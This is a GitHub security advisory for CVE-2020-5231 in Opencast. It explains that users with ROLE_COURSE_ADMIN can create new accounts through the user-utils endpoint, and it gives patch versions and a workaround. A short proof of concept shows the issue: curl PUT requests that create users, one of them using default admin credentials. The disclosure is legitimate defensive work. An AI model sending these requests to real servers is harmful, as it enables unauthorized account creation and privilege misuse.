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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk0cXctcjczeC1qN2hn

Users with ROLE_COURSE_ADMIN can create new users in Opencast

Impact

Users with the role ROLE_COURSE_ADMIN can use the user-utils endpoint to create new users not including the role ROLE_ADMIN. For example:

# Use the admin to create a new user with ROLE_COURSE_ADMIN using the admin user.
# We expect this to work.
% curl -i -u admin:opencast 'https://example.opencast.org/user-utils/xy.json' -X PUT \
  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'
HTTP/2 201

# Use the new user to create more new users.
# We don't expüect a user with just role ROLE_COURSE_ADMIN to succeed.
# But it does work
% curl -i -u xy:f 'https://example.opencast.org/user-utils/ab.json' -X PUT \
  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'
HTTP/2 201

ROLE_COURSE_ADMIN is a non-standard role in Opencast which is referenced neither in the documentation nor in any code (except for tests) but only in the security configuration. From the name – implying an admin for a specific course – users would never expect that this role allows user creation.

Patches

This issue is fixed in 7.6 and 8.1 which both ship a new default security configuration.

Workarounds

You can fix this issue by removing all instances of ROLE_COURSE_ADMIN in your organization's security configuration (etc/security/mh_default_org.xml by default).

For more information

If you have any questions or comments about this advisory:

• Open an issue in opencast/opencast
• For security-relevant information, email us at [email protected]

Permalink: https://github.com/advisories/GHSA-94qw-r73x-j7hg
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTk0cXctcjczeC1qN2hn
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 4 years ago
Updated: over 1 year ago

CVSS Score: 4.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Identifiers: GHSA-94qw-r73x-j7hg, CVE-2020-5231
References:

• https://github.com/opencast/opencast/security/advisories/GHSA-94qw-r73x-j7hg
• https://github.com/opencast/opencast/commit/72fad0031d8a82c860e2bde0b27570c5042320ee
• https://nvd.nist.gov/vuln/detail/CVE-2020-5231
• https://github.com/advisories/GHSA-94qw-r73x-j7hg

Repository: https://github.com/opencast/opencast
Blast Radius: 7.4

Affected Packages